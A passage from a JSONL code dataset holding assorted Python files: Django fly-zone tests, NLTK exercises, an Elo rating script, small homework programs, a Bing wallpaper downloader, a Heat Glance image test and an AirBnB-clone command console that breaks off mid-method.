self.testdata_containspos:\n zone.full_clean()\n\n def test_contains_pos(self):\n \"\"\"Tests the contains_pos method.\"\"\"\n for (zone, test_pos) in self.testdata_containspos:\n for ((lat, lon, alt), inside) in test_pos:\n apos = AerialPosition()\n apos.latitude = lat\n apos.longitude = lon\n apos.altitude_msl = alt\n self.assertEqual(zone.contains_pos(apos), inside)\n\n def test_contains_many_pos(self):\n \"\"\"Tests the contains_many_pos method.\"\"\"\n for (zone, test_pos) in self.testdata_containspos:\n aerial_pos_list = []\n expected_results = []\n for ((lat, lon, alt), inside) in test_pos:\n apos = AerialPosition()\n apos.latitude = lat\n apos.longitude = lon\n apos.altitude_msl = alt\n aerial_pos_list.append(apos)\n expected_results.append(inside)\n self.assertEqual(zone.contains_many_pos(aerial_pos_list),\n expected_results)\n\n def test_out_of_bounds(self):\n \"\"\"Tests the UAS out of bounds method.\"\"\"\n (zone_details, uas_details) = TESTDATA_FLYZONE_EVALBOUNDS\n # Create FlyZone objects\n zones = []\n for (alt_min, alt_max, wpts) in zone_details:\n zone = FlyZone()\n zone.altitude_msl_min = alt_min\n zone.altitude_msl_max = alt_max\n zone.save()\n for wpt_id in range(len(wpts)):\n (lat, lon) = wpts[wpt_id]\n wpt = Waypoint()\n wpt.order = wpt_id\n wpt.latitude = lat\n wpt.longitude = lon\n wpt.altitude_msl = 0\n wpt.save()\n zone.boundary_pts.add(wpt)\n zone.save()\n zones.append(zone)\n\n # For each user, validate time out of bounds\n user_id = 0\n epoch = timezone.now().replace(year=1970,\n month=1,\n day=1,\n hour=0,\n minute=0,\n second=0,\n microsecond=0)\n for exp_violations, exp_out_of_bounds_time, log_details in uas_details:\n # Create the logs\n user = User.objects.create_user('testuser%d' % user_id,\n 'testemail@x.com', 'testpass')\n user_id += 1\n uas_logs = []\n for (lat, lon, alt, timestamp) in log_details:\n log = UasTelemetry()\n log.user = user\n log.latitude = lat\n log.longitude = lon\n log.altitude_msl = alt\n log.uas_heading = 0\n log.save()\n log.timestamp = epoch + datetime.timedelta(seconds=timestamp)\n log.save()\n uas_logs.append(log)\n # Assert out of bounds time matches expected\n num_violations, out_of_bounds_time = \\\n FlyZone.out_of_bounds(zones, uas_logs)\n self.assertEqual(num_violations, exp_violations)\n self.assertAlmostEqual(out_of_bounds_time.total_seconds(),\n exp_out_of_bounds_time)\n","sub_path":"server/auvsi_suas/models/fly_zone_test.py","file_name":"fly_zone_test.py","file_ext":"py","file_size_in_byte":8823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"248668740","text":"# Mohamed A. Ben Hamida\n# PYTHON -- tokenisation stemming and list comprehension\n# 2018/2019\n\nimport nltk\nfrom nltk.corpus import brown\nfrom nltk import FreqDist\nfrom nltk import ConditionalFreqDist\nfrom operator import itemgetter\nfrom nltk.corpus import stopwords\nfrom operator import itemgetter\n\t\n#1 -----------------------------------------------------\n\nfd = FreqDist(brown.words())\n[key for (key,freq) in fd.items() if freq>=3]\n\n#2 -----------------------------------------------------\n\nd = [(genre,len(set(brown.words(categories=genre)))*100/len(brown.words(categories=genre))) for genre in brown.categories()]\n\ncfd= ConditionalFreqDist((genre, word) for genre in brown.categories() for word in brown.words(categories=genre))\nfor genre in brown.categories():\n sum=0\n for typ in cfd[genre]:\n sum+=cfd[genre][typ]\n print(\"genre \"+genre+\" :\",sum/len(cfd[genre]))\n\n#3 -----------------------------------------------------\n\ntext = brown.words(\"ca01\")+brown.words(\"ca02\")\nwords = [word for word in [word.lower() for word in text] if word not in stopwords.words(\"english\")]\nbigrams = list(nltk.bigrams(words))\nfreqdist = sorted(FreqDist(bigrams).items(),key=itemgetter(1),reverse=True)\n\n#4 -----------------------------------------------------\n\nconfreqdist = ConditionalFreqDist((genre,word) for genre in brown.categories() for word in brown.words(categories=genre))\nwords = [\"mountain\",\"monster\",\"river\",\"eat\",\"run\",\"keys\",\"paper\",\"joke\",\"war\"]\nconfreqdist.tabulate(samples=words)\n\n#5 -----------------------------------------------------\n\ndef freqOfWord(word, genre):\n fd= FreqDist(brown.words(categories=genre))\n print(word,'in',genre,':',fd[word])\n\nfreqOfWord\n\nfor genre in brown.categories():\n s=0\n for type in freqdist[genre]:\n s+=freqdist[genre][type]\n print(genre+\" => \",s/len(freqdist[genre]))\n\ns = lambda x,y:x+y;\n\ndef sum(freqdist,genre):\n\ts = 0\n\tfor type in freqdist[genre]:\n\t\ts+=freqdist[genre][type]\n\treturn s\n\n[(genre,sum(freqdist[genre])/len(freqdist[genre])) for genre in brown.categories() for type in freqdist[genre]]\n","sub_path":"nlp/lab5.py","file_name":"lab5.py","file_ext":"py","file_size_in_byte":2073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"229068729","text":"import os\nimport glob\nimport subprocess as sp\nimport ColorTextWriter\n\nclass ShortStack:\n\n def __init__(self, home_dir, input_dir, genome_fa):\n self.home_dir = home_dir\n self.input_dir = input_dir\n self.genome_fa = genome_fa\n\n def ss_aligner(self):\n\n outdir = os.path.join(self.home_dir, 'shortstack_aligned')\n if not os.path.isdir(outdir): os.mkdir(outdir)\n\n fastq_list = sorted(glob.glob(self.input_dir + '*tagdustout.fq'))\n\n ctw = ColorTextWriter.ColorTextWriter()\n\n print(ctw.CBEIGE + ctw.CBOLD + 'Running ShortStack Aligner ...' + ctw.CEND + '\\n')\n\n for i in fastq_list:\n\n print(ctw.CBEIGE + ctw.CBOLD + 'ShortStacking: ' + ctw.CBLUE + os.path.basename(i) + ctw.CBEIGE + ctw.CBOLD + ' ...' + ctw.CEND + '\\n')\n\n sub_directory = outdir + '/' + os.path.basename(i).split('.fq')[0] + '/'\n\n command = [\n 'ShortStack',\n '--genomefile', self.genome_fa,\n '--readfile', i,\n '--outdir', sub_directory\n ]\n\n command = ' '.join(command)\n sp.check_call(command, shell=True)\n\n print('\\n' + ctw.CRED + ctw.CBOLD + 'Mapping with ShortStack is Completed!!!' + ctw.CEND + '\\n')","sub_path":"Modules/ShortStack.py","file_name":"ShortStack.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"588124108","text":"import csv\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef get_default_bias_dict(team_list):\n bias_dict = dict()\n for t in team_list:\n bias_dict[t] = 1000\n\n return(bias_dict)\n\ndef add_elo_to_df(sorted_df, bias_dict, k=32):\n #its important that the df is sorted because elo ranking will update over time\n # k is some constant. In chess it is 32 so we will use k=32\n\n elo_dict = bias_dict\n\n sorted_df['team1_elo'] = np.zeros(len(sorted_df))\n sorted_df['team2_elo'] = np.zeros(len(sorted_df))\n sorted_df['team1_prev_elo'] = np.zeros(len(sorted_df))\n sorted_df['team2_prev_elo'] = np.zeros(len(sorted_df))\n\n for idx, row in sorted_df.iterrows():\n #get names\n team1 = row['team1_name']\n team2 = row['team2_name']\n\n #get elo\n team1_current_elo = elo_dict[team1]\n team2_current_elo = elo_dict[team2]\n sorted_df['team1_prev_elo'][idx] = team1_current_elo\n sorted_df['team2_prev_elo'][idx] = team2_current_elo\n\n #get ratings\n team1_rating = 10**(team1_current_elo/400)\n team2_rating = 10**(team2_current_elo/400)\n\n #get expected rating\n team1_exp_rating = team1_rating/(team1_rating + team2_rating)\n team2_exp_rating = team2_rating/(team1_rating + team2_rating)\n\n #get match results\n team1_win = row['team1_win']\n team2_win = row['team2_win']\n\n #update elo\n team1_updated_elo = team1_current_elo + k * (team1_win - team1_exp_rating)\n team2_updated_elo = team2_current_elo + k * (team2_win - team2_exp_rating)\n elo_dict[team1] = team1_updated_elo\n elo_dict[team2] = team2_updated_elo\n sorted_df['team1_elo'][idx] = team1_updated_elo\n sorted_df['team2_elo'][idx] = team2_updated_elo\n\n return(sorted_df)\n\ndef get_prob_from_elo(team1_elo, team2_elo):\n \n #get rating\n team1_rating = 10**(team1_elo/400)\n team2_rating = 10**(team2_elo/400)\n \n #get win probs\n team1_win_prob = team1_rating/(team1_rating + team2_rating)\n team2_win_prob = team2_rating/(team1_rating + team2_rating)\n \n return(team1_win_prob, team2_win_prob)\n\nif __name__ == '__main__':\n\n df = pd.read_csv('games_df/LCS_summer_2019.csv').sort_values(by=['date', 'game_number'])\n #df = pd.read_csv('games_df/LEC_summer_2019.csv')\n\n print(df.head(5))\n list_of_teams = df['team1_name'].unique()\n print(\"list of teams: \", list_of_teams)\n print(\"column names: \", df.columns)\n\n default_bias_dict = get_default_bias_dict(list_of_teams)\n\n df_elo = add_elo_to_df(df, default_bias_dict, k=100)\n\n print(df_elo[['date', 'team1_name', 'team1_win', 'team1_elo', 'team1_prev_elo']])\n \n #make a prediction\n for idx, row in df_elo.iterrows():\n team1_current_elo = row['team1_prev_elo']\n team2_current_elo = row['team2_prev_elo']\n print(get_prob_from_elo(team1_current_elo, team2_current_elo))\n","sub_path":"LeagueOfLegends/2019-06-FantasyPredictionsLoL/.ipynb_checkpoints/process_team_dfs-checkpoint.py","file_name":"process_team_dfs-checkpoint.py","file_ext":"py","file_size_in_byte":2950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"237349072","text":"import socket\n# http://data.pr4e.org/romeo.txt\n\ntry:\n url = input('Enter URL: ')\n host = url.split('/')[2]\n\n my_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n my_sock.connect((host, 80))\n cmd = 'GET ' + url + 'HTTP/1.0\\r\\n\\r\\n'\n cmd = cmd.encode()\n my_sock.send(cmd)\n\n received_data = b\"\"\n\n while True:\n data = my_sock.recv(512)\n if len(data) < 1:\n break\n received_data += data\n\n received_data = received_data.decode()\n print(received_data[:3000])\n print(len(received_data))\n\n my_sock.close()\n\nexcept:\n print(\"ERROR: The URL is improperly formatted or non-existent.\")\n","sub_path":"Chapter 12/exercise_02.py","file_name":"exercise_02.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"518251454","text":"\ndef checkRotations(s1, s2):\n size1 = len(s1)\n size2 = len(s2)\n temp = ''\n if size1 != size2:\n return 0\n temp = s1 + s1\n \n \n #string.count returns the number of occurrences of\n if (temp.count(s2)):\n return 1\n else:\n return 0\n \n\nfor i in range(int(input())):\n s1=input()\n s2=input()\n if checkRotations(s1, s2):\n print (\"YES\")\n else:\n print (\"NO\")\n","sub_path":"Day - 4/check rotation alok-0004.py","file_name":"check rotation alok-0004.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"137207740","text":"#!/usr/bin/python3\n\"\"\"matrix divided module\"\"\"\n\n\ndef matrix_divided(matrix, div):\n \"\"\"returns new matrix with elements divided by div\"\"\"\n if not isinstance(matrix, list):\n raise TypeError(\n \"matrix must be a matrix (list of lists) of integers/floats\")\n if matrix == []:\n raise TypeError(\n \"matrix must be a matrix (list of lists) of integers/floats\")\n\n thelen = len(matrix[0])\n\n if thelen == 0:\n raise TypeError(\n \"matrix must be a matrix (list of lists) of integers/floats\")\n\n for i in matrix:\n if not isinstance(i, list):\n raise TypeError(\n \"matrix must be a matrix (list of lists) of integers/floats\")\n if len(i) != thelen:\n raise TypeError(\"Each row of the matrix must have the same size\")\n for j in i:\n if not isinstance(j, (int, float)):\n raise TypeError(\n \"matrix must be a matrix (list of lists) of integers/floats\")\n\n if not isinstance(div, (int, float)):\n raise TypeError(\"div must be a number\")\n\n if div == 0:\n raise ZeroDivisionError(\"division by zero\")\n\n return [[round(i / div, 2) for i in matrix[x]] for x in range(len(matrix))]\n\n\nif __name__ == \"__main__\":\n import doctest\n doctest.testfile(\"./tests/2-matrix_divided.txt\")\n","sub_path":"0x07-python-test_driven_development/2-matrix_divided.py","file_name":"2-matrix_divided.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"583683746","text":"class Stack:\n def __init__(self):\n self.stack = [0] * 1000\n self.current = 0\n\n def empty(self):\n return self.current == 0\n\n def push(self, item):\n self.stack[self.current] = item\n self.current += 1\n\n def pop(self):\n self.current -= 1\n item = self.stack[self.current]\n return item\n\n\nBRACKETS = {\"(\": \")\", \"[\": \"]\", \"<\": \">\"}\n\ndef checBracketSequance(seq: str):\n stack = Stack()\n for curr_br in seq:\n if curr_br in BRACKETS:\n stack.push(curr_br)\n else:\n if stack.empty():\n return False\n stack_br = stack.pop()\n if BRACKETS[stack_br] != curr_br:\n return False\n\n\n return stack.empty()\n\n\n\nwith open(\"input.txt\") as f:\n n = int(f.readline())\n for test_num in range(n):\n test = f.readline().strip()\n if checBracketSequance(test):\n print(\"Yes\")\n else:\n print(\"No\")\n","sub_path":"labs/L13/task2/t2_class.py","file_name":"t2_class.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"445412208","text":"\"\"\"A simple script to import the daily picture of bing\"\"\" \n# http://blog.csdn.net/wbb1075421270/article/details/51810282?locationNum=4&fps=1\nimport urllib.request \nimport re \nimport time \n\n\ndef main(): \n \"\"\"We use the xml api provided by bing to get the pic url\"\"\" \n hostname = \"http://cn.bing.com/HPImageArchive.aspx?idx=0&n=1\" \n req = urllib.request.Request(hostname) ### 1.这里得到的是一个req对象\n\n\n #print(req)\n #print('------------------------------\\n\\n')\n webpage = urllib.request.urlopen(req) \n #print(webpage)\n content = str(webpage.read()) ### 2.这里真正得到了上面host中的内容,并且是以字节表示的字符串。\n #f= open('webpage.html','w')\n #f.write(content)\n #print(content)\n\n\n url_tail = re.search(r'[^\\s]*', content) ### 3.在上面的网页内容中需要url相对地址\n #print(url_tail.group()) # /az/hprichbg/rb/HawaiiWave_ZH-CN13164844408_1366x768.jpg\n\n\n \n ### 4.得到绝对的url地址 \n url = 'http://cn.bing.com' + str(url_tail.group())[5:-6] # str(url_tail.group())[5:-6] = /az/hprichbg/rb/HawaiiWave_ZH-CN13164844408_1366x768.jpg\n print(url) \n\n ### 构建保存的文件名,并调用urlretrieve进行下载\n pic_file_name = time.strftime('%Y_%m_%d', time.localtime(time.time())) \n urllib.request.urlretrieve(url, pic_file_name+url[-4:]) # url[-4:] =.jpg \n \nif __name__ == '__main__': \n main()\n","sub_path":"grb_bing_desk_background/1_bing.py","file_name":"1_bing.py","file_ext":"py","file_size_in_byte":1608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"626062948","text":"\"\"\"\nJackson Callaghan\nECE 241 Section 1\nHW1-Q3\n\ntictactoe game for 2 players - fixed & commented\n\"\"\"\n\nchoices = []\n\nfor x in range(1, 10): # initializes choice list with selection numbers | changed 9 to 10 to get full 9 values\n choices.append(x)\n\nplayerOneTurn = True # game starts on player one's turn\nwinner = False \n\n\ndef printBoard(): # prints the current board state | ensured that choice[#] is str for compatibility\n print('\\n -----')\n print('|' + str(choices[0]) + '|' + str(choices[1]) + '|' + str(choices[2]) + '|')\n print(' -----')\n print('|' + str(choices[3]) + '|' + str(choices[4]) + '|' + str(choices[5]) + '|')\n print(' -----')\n print('|' + str(choices[6]) + '|' + str(choices[7]) + '|' + str(choices[8]) + '|')\n print(' -----\\n')\n\n\nwhile not winner:\n printBoard()\n\n if playerOneTurn:\n print(\"Player 1:\")\n else:\n print(\"Player 2:\")\n\n try: # gets input and checks if input is int\n choice = int(input(\">> \"))\n except (TypeError, ValueError):\n print(\"please enter a valid field\")\n continue\n try: # checks if input is valid number (1-9)\n if choices[choice - 1] in (\"X\", \"O\"):\n print(\"illegal move, please try again\")\n continue\n except IndexError:\n print(\"please enter a valid field\")\n continue\n\n if playerOneTurn: # places correct mark based on player turn\n choices[choice - 1] = \"X\"\n else:\n choices[choice - 1] = \"O\"\n\n playerOneTurn = not playerOneTurn # cycles to other player's turn\n\n for x in range(0, 3): # loops through board and checks if a player has won\n y = x * 3\n if choices[y] == choices[(y + 1)] and choices[y] == choices[(y + 2)]:\n winner = True\n printBoard()\n if choices[x] == choices[(x + 3)] and choices[x] == choices[(x + 6)]:\n winner = True\n printBoard()\n\n if((choices[0] == choices[4] and choices[0] == choices[8]) or\n (choices[2] == choices[4] and choices[4] == choices[6])): # checks for diagonal win\n winner = True\n printBoard()\n\nprint(\"Player \" + str(int(playerOneTurn + 1)) + \" wins!\\n\")","sub_path":"ECE241/HW1/HW1-Q3.py","file_name":"HW1-Q3.py","file_ext":"py","file_size_in_byte":2168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"557532178","text":"#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport mock\nimport six\n\nfrom heat.common import template_format\nfrom heat.engine.resources.openstack.glance import image as gi\nfrom heat.engine import stack\nfrom heat.engine import template\nfrom heat.tests import common\nfrom heat.tests import utils\n\n\n# WRS Glance Image enhancements\n# Location support for local files\n# new cache_raw property\n\nimage_file_template = '''\nheat_template_version: 2013-05-23\ndescription: This template to define a glance image.\nresources:\n my_image:\n type: OS::Glance::Image\n properties:\n name: cirros_image\n id: 41f0e60c-ebb4-4375-a2b4-845ae8b9c995\n disk_format: qcow2\n container_format: bare\n is_public: True\n min_disk: 10\n min_ram: 512\n protected: False\n location: file:///some_folder/some_file.img\n cache_raw: False\n'''\n\n\nclass GlanceFileImageTest(common.HeatTestCase):\n def setUp(self):\n super(GlanceFileImageTest, self).setUp()\n\n utils.setup_dummy_db()\n self.ctx = utils.dummy_context()\n\n tpl = template_format.parse(image_file_template)\n self.stack = stack.Stack(\n self.ctx, 'glance_image_test_stack_wr',\n template.Template(tpl)\n )\n\n self.my_image = self.stack['my_image']\n glance = mock.MagicMock()\n self.glanceclient = mock.MagicMock()\n self.my_image.client = glance\n glance.return_value = self.glanceclient\n self.images = self.glanceclient.images\n\n @mock.patch.object(gi.GlanceImage, '_load_local_file')\n def test_image_handle_create(self, mock_load):\n mock_load.return_value = None\n value = mock.MagicMock()\n image_id = '41f0e60c-ebb4-4375-a2b4-845ae8b9c995'\n value.id = image_id\n self.images.create.return_value = value\n self.my_image.handle_create()\n self.assertEqual(image_id, self.my_image.resource_id)\n\n def test_invalid_image_handle_create(self):\n exc = self.assertRaises(IOError, self.my_image.handle_create)\n self.assertIn(\"No such file\", six.text_type(exc))\n","sub_path":"heat/tests/wr/test_glance_image_enhancements.py","file_name":"test_glance_image_enhancements.py","file_ext":"py","file_size_in_byte":2622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"15201817","text":"# coding: utf-8\n\nfrom ipywidgets import widgets\n\n\nclass Component:\n\n def __init__(self):\n self.desc_width = 75\n self.slider_width = 550\n\n def title(self, text=\"\", name=\"title\"):\n return widgets.HTML(\n text.replace('\\n', \"
\"),\n layout=widgets.Layout(width='99%', grid_area=name)\n )\n\n def multi_select(self, callback_method, _analyser, options, rows=6, description=\"\", variable=\"\", width='100%'):\n _analyser.data[variable] = []\n multi_select = widgets.SelectMultiple(\n options=options,\n rows=rows,\n description=description,\n disabled=False,\n layout=widgets.Layout(width=width, grid_area=variable))\n\n multi_select.observe(callback_method, ['value'])\n\n return multi_select\n\n def select(self, callback_method, _analyser, options, variable=\"\", description=\"\",\n index=0, width='100%', height='100%', disabled=False):\n _analyser.data[variable] = [options[index]]\n select = widgets.Select(\n options=options,\n value=options[index],\n rows=1,\n description=description,\n disabled=disabled,\n indent=False,\n layout=widgets.Layout(width=width, height=height, grid_area=variable))\n\n select.observe(callback_method, ['value'])\n return select\n\n def slider(self, callback_method, _analyser, variable=\"\", description=\"\", increment=0, disabled=False, min=1):\n _analyser.data[variable] = increment\n\n increment_slider = widgets.IntSlider(\n value=increment,\n min=min,\n max=50,\n step=1,\n description=description,\n disabled=disabled,\n continuous_update=False,\n orientation='horizontal',\n readout=True,\n readout_format='d',\n layout=widgets.Layout(width='{}px'.format(self.slider_width), grid_area=variable)\n )\n\n increment_slider.style.description_width = '{}px'.format(self.desc_width)\n increment_slider.observe(callback_method, ['value'])\n\n return increment_slider\n\n def range_slider(self, callback_method, _analyser,\n variable=\"\", description=\"\",\n range=(0,0), max=500, step=1,\n readout_format='d'):\n _analyser.data[variable] = range\n\n range_slider = widgets.FloatRangeSlider(\n value=range,\n min=0,\n max=max,\n step=step,\n description=description,\n disabled=False,\n continuous_update=False,\n orientation='horizontal',\n readout=True,\n readout_format=readout_format,\n layout=widgets.Layout(width='{}px'.format(self.slider_width), grid_area=variable)\n )\n\n range_slider.style.description_width = '{}px'.format(self.desc_width)\n range_slider.observe(callback_method, ['value'])\n return range_slider\n\n def button(self, text=\"Button\"):\n return widgets.Button(description=text)\n\n def pack(self, children, layout, template_rows=\"auto auto auto\", template_columns=\"33% 34% 33%\", name=\"grid\", width=\"100%\"):\n\n return widgets.GridBox(children=children,\n layout=widgets.Layout(\n width=width,\n grid_gap='0px 0px',\n grid_template_rows=template_rows,\n grid_template_columns=template_columns,\n grid_template_areas=layout,\n grid_area=name)\n )","sub_path":"analysis/notebook/src/component.py","file_name":"component.py","file_ext":"py","file_size_in_byte":3741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"57638508","text":"\n#encoding:UTF-8\n\n#Autor:José Javier Rodríguez Mota\n#Descripción: Imprime el precio de una venta\n\n#Inicio\n#Definimos nuestra función para obtener el descuento \ndef calcularDescuento(cantidad):\n if(cantidad<10):\n resultado=0\n elif(10<=cantidad<20):\n resultado=20\n elif(20<=cantidad<50):\n resultado=30\n elif(50<=cantidad<100):\n resultado=40\n else:\n resultado=50 \n return resultado\n#Definimos nuestra función para obtener el precio\ndef calcularPrecio(cantidad):\n precio=1500*cantidad\n return precio\ndef calcularTotal(descuento,precio):\n total=precio*((100-descuento)/100)\n return total \n#Definimos nuestra función principal\ndef main():\n cantidad=int(input(\"¿Cuántas piezas comprarás?\"))\n if (cantidad<0):\n print(\"ERROR LA CANTIDAD NO ES VÁLIDA\")\n else: \n descuento=calcularDescuento(cantidad)\n precio=calcularPrecio(cantidad)\n total=calcularTotal(descuento,precio)\n print(\"\"\"Cotización de %d piezas:\n Precio:$%.2f\n Descuento: -%d porciento\n Total:$%.2f\n \"\"\"%(cantidad,precio,descuento,total)) \n#Corremos el programa\nmain() \n#Fin \n","sub_path":"venta.py","file_name":"venta.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"391011621","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Basket',\n fields=[\n ('id', models.AutoField(primary_key=True, auto_created=True, serialize=False, verbose_name='ID')),\n ('date_created', models.DateTimeField(auto_now_add=True, verbose_name='创建时间')),\n ],\n options={\n 'abstract': False,\n },\n ),\n migrations.CreateModel(\n name='BasketItem',\n fields=[\n ('id', models.AutoField(primary_key=True, auto_created=True, serialize=False, verbose_name='ID')),\n ('quantity', models.PositiveIntegerField(default=1, verbose_name='数量')),\n ('date_created', models.DateTimeField(auto_now_add=True, verbose_name='创建时间')),\n ('basket', models.ForeignKey(to='basket.Basket', verbose_name='购物车')),\n ],\n options={\n 'abstract': False,\n },\n ),\n ]\n","sub_path":"apps/basket/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"489500143","text":"#!/usr/bin/env python3\n\"\"\"\ncreate_labels.py\n\nScript for creating labels for a new collision dataset.\n\nWritten by Moritz Sperling\n\nLicensed under the MIT License (see LICENSE for details)\n\"\"\"\nimport cv2\nimport glob\nimport os, sys\nimport absl.flags as gflags\nlocalpath = os.path.dirname(os.path.realpath(__file__))\nsys.path.insert(0, localpath + '/../workflow/util/')\nfrom common_flags import FLAGS\nfrom misc_utils import get_experiment_folders\n\ndef _main():\n # init variables\n filename = \"labels.txt\"\n folder = FLAGS.test_dir\n\n # iterate subdirectories\n dirs = get_experiment_folders(folder)\n for subdir in dirs:\n\n # ignore hidden folders\n if subdir[0] != '.':\n\n # get filenames\n path = os.path.join(folder, subdir, 'images/*.jpg')\n imgs = sorted(glob.glob(path))\n\n labels = []\n collision = False\n\n # iterate through imgs\n for i, fname in enumerate(imgs):\n\n # load image and prep for dronet\n img = cv2.imread(fname, cv2.IMREAD_COLOR)\n\n cv2.putText(img, \"[#{:03d}]\".format(i), (10, 30),\n cv2.FONT_HERSHEY_SIMPLEX,\n 1.0, (0, 0, 255), 2, lineType=30)\n\n # show img and label as collision when space is pressed\n cv2.imshow('frame',img)\n if cv2.waitKey(100) & 0xFF == ord(' '):\n # de/activate collision\n collision = not collision\n\n # append current label\n if collision:\n labels.append(1)\n print('collision')\n else:\n labels.append(0)\n print('path clear')\n\n cv2.destroyAllWindows()\n\n # produce labels file\n if len(labels) > 2:\n outfile = os.path.join(folder, subdir, filename)\n with open(outfile, 'w') as f:\n for item in labels:\n f.write(\"%s\\n\" % str(item))\n f.close()\n\n\ndef main(argv):\n # Utility main to load flags\n try:\n FLAGS(argv) # parse flags\n except gflags.Error:\n print ('Usage: %s ARGS\\\\n%s' % (sys.argv[0], FLAGS))\n sys.exit(1)\n _main()\n\n\nif __name__ == \"__main__\":\n main(sys.argv)","sub_path":"misc/create_labels.py","file_name":"create_labels.py","file_ext":"py","file_size_in_byte":2352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"532825282","text":"#!/usr/bin/python3\n\"\"\"\nContains comand line interpreter\n\"\"\"\nfrom models.base_model import BaseModel\nfrom models.user import User\nfrom models.__init__ import storage\nimport cmd\nfrom models.place import Place\nfrom models.state import State\nfrom models.city import City\nfrom models.amenity import Amenity\nfrom models.review import Review\n\n\nclass HBNBCommand(cmd.Cmd):\n '''\n HBNBCommand - class containing functions and attributes of the console\n Attributes:\n prompt - The string to be displayed as the prompt\n __classes - Contains a dictionary of all classes\n __types - contains a dictionary of attributes and their values\n to be abe to parse rge during the update method\n Methods:\n do_quit() - implements quit command\n do_EOF() - Takes care of EOF in the command buffer\n emptyline - Method called when an empty line is entered in\n response to the prompt.\n If this method is not overridden,\n it repeats the last nonempty command entered.\n\n '''\n prompt = \"(hbnb) \"\n __classes = {\n 'BaseModel': BaseModel, 'User': User, 'Place': Place,\n 'State': State, 'City': City, 'Amenity': Amenity,\n 'Review': Review\n }\n # This is a dictionary of attributes and their values so that we can\n # properly parse them during the update method\n __types = {\n \"number_rooms\": int, \"number_bathrooms\": int,\n \"max_guest\": int, \"price_by_night\": int,\n \"latitude\": float, \"longitude\": float\n }\n\n def do_quit(self, args):\n '''\n Implements quit command\n Args:\n args - string containing arguments\n '''\n raise SystemExit\n\n def do_EOF(self, args):\n '''\n do_EOF() - Takes care of EOF in the command buffer\n Args:\n args - stream from the standard input\n '''\n return True\n print(\"Quit command to exit the program\")\n print()\n\n def emptyline(self):\n '''\n emptyline - Method called when an empty line is entered in\n response to the prompt.\n If this method is not overridden,\n it repeats the last nonempty command entered.\n '''\n pass\n\n def do_create(self, arg):\n '''\n do_create - Creates a new instance of BaseModel and\n saves it to Json file and prints the id\n '''\n if not arg:\n print(\"** class name missing **\")\n elif arg not in HBNBCommand.__classes:\n print(\"** class doesn't exist **\")\n else:\n model_1 = HBNBCommand.__classes[arg]()\n model_1.save()\n print(model_1.id)\n\n def do_show(self, arg):\n '''\n do__show - prints the string rep of an instance\\\n based on the class name and the id\n '''\n args = arg.split()\n '''\n Check if the class name has\\\n been passed and whether it exists\n '''\n try:\n obj = args[0]\n if obj not in HBNBCommand.__classes:\n print(\"** class doesn't exist **\")\n return\n\n except:\n print(\"** class name missing **\")\n return\n\n try:\n id = args[1]\n except:\n print(\"** instance id missing **\")\n return\n\n key = obj + \".\" + str(id)\n new_dict = storage.all()\n\n try:\n print(new_dict[key])\n except Exception as e:\n print(\"** no instance found **\")\n\n def do_destroy(self, arg):\n '''\n do_destroy - Destroys an Object based on the class name and id\n '''\n args = arg.split()\n # Check if the class name has been passed and whether it exists\n try:\n obj = args[0]\n if obj not in HBNBCommand.__classes:\n print(\"** class doesn't exist **\")\n return\n except:\n print(\"** class name missing **\")\n return\n\n try:\n id = args[1]\n except:\n print(\"** instance id missing **\")\n return\n\n key = obj + \".\" + str(id)\n stored_objs = storage.all()\n\n try:\n del(stored_objs[key])\n storage.save()\n except Exception as e:\n print(\"** no instance found **\")\n\n def do_all(self, arg):\n '''\n Prints all string representation of all instances based or not on\n the class name.\n '''\n obj_dict = storage.all()\n obj_list = []\n if not arg:\n for obj in obj_dict.values():\n obj_list.append(str(obj))\n print(obj_list)\n else:\n if arg not in HBNBCommand.__classes:\n print(\"** class doesn't exist **\")\n else:\n for k, obj in obj_dict.items():\n if arg in k:\n obj_list.append(str(obj))\n print(obj_list)\n\n def do_update(self, arg):\n '''\n updates an instnace based on the class na,e and id by adding\n or updating attribute(saving the chanege into JSON file\n '''\n args = arg.split()\n try:\n class_name = args[0]\n if class_name not in 